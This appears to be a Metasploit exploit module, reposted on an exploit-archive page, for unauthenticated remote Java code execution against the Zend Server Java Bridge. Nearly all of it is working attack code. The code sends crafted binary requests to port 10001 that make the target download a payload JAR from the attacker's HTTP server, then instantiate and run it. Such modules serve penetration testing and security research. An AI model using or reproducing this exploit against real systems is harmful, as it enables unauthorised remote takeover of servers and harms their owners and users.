ExploitFixes
Zend Server Java Bridge Arbitrary Java Code Execution 2011-04-11 17:15:24

##
# $Id: zend_java_bridge.rb 12242 2011-04-05 01:08:07Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Zend Server Java Bridge Arbitrary Java Code Execution',
'Description' => %q{
This module takes advantage of a trust relationship issue within the
Zend Server Java Bridge. The Java Bridge is responsible for handling interactions
between PHP and Java code within Zend Server.

When Java code is encountered Zend Server communicates with the Java Bridge. The
Java Bridge then handles the java code and creates the objects within the Java Virtual
Machine. This interaction however, does not require any sort of authentication. This
leaves the JVM wide open to remote attackers. Sending specially crafted data to the
Java Bridge results in the execution of arbitrary java code.
},
'Author' => [ 'bannedit' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12242 $',
'References' =>
[
[ 'OSVDB', '71420'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-113/'],
[ 'URL', 'http://www.exploit-db.com/exploits/17078/' ],
],
'Platform' => ['java'], # win
'Arch' => ARCH_JAVA,
'Privileged' => true,
'Targets' =>
[
[ 'Linux', {}],
[ 'Windows', {}],
],
'DisclosureDate' => 'Mar 28 2011',
'DefaultTarget' => 0))
register_options( [ Opt::RPORT(10001) ], self.class)
end

def exploit
start_service()
send_java_require
end

def send_java_require()
connect

jar = rand_text_alpha(rand(8)+1) + '.jar'
path = get_uri + '/' + jar
uri_len = path.length
java_require = [0xffffffff, 0x16000000].pack('V*') +
"setAdditionalClassPath" + [0x01000000, 0x00000004].pack('V*') +
[uri_len].pack('C') + path

java_require = [java_require.length].pack('N') + java_require

print_status("Sending java_require() request... #{path}")
sock.put(java_require)
res = sock.get_once

select(nil, nil, nil, 5) # wait for the request to be handled
create_and_exec
end

def create_and_exec
print_status("Sending Final Java Bridge Requests")

create_obj =
[0x34000000, 0x00000000, 0x0c000000].pack('V*') +
"CreateObject" +
[0x02000000, 0x00000004].pack('V*') + [0x12].pack('C') +
"metasploit.Payload" +
[0x07000000].pack('N') + [0x00].pack('C')

sock.put(create_obj)
res = sock.get_once
obj_id = res[5,4]

callmain =
[0x1f000000].pack('V') + obj_id + [0x04000000].pack('V') + "main" +
[0x01000000, 0x00000008, 0x00000201, 0x00040000].pack('V*') + [0x00].pack('C') +
[0x00].pack('C') + [0x00].pack('C')

sock.put(callmain)
sock.get_once
handler()
end

def on_request_uri(cli, request)
if request.uri =~ /\.jar$/i
send_response(cli, payload.encoded,
{
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})

print_status("Replied to Request for Payload JAR")
end
end
end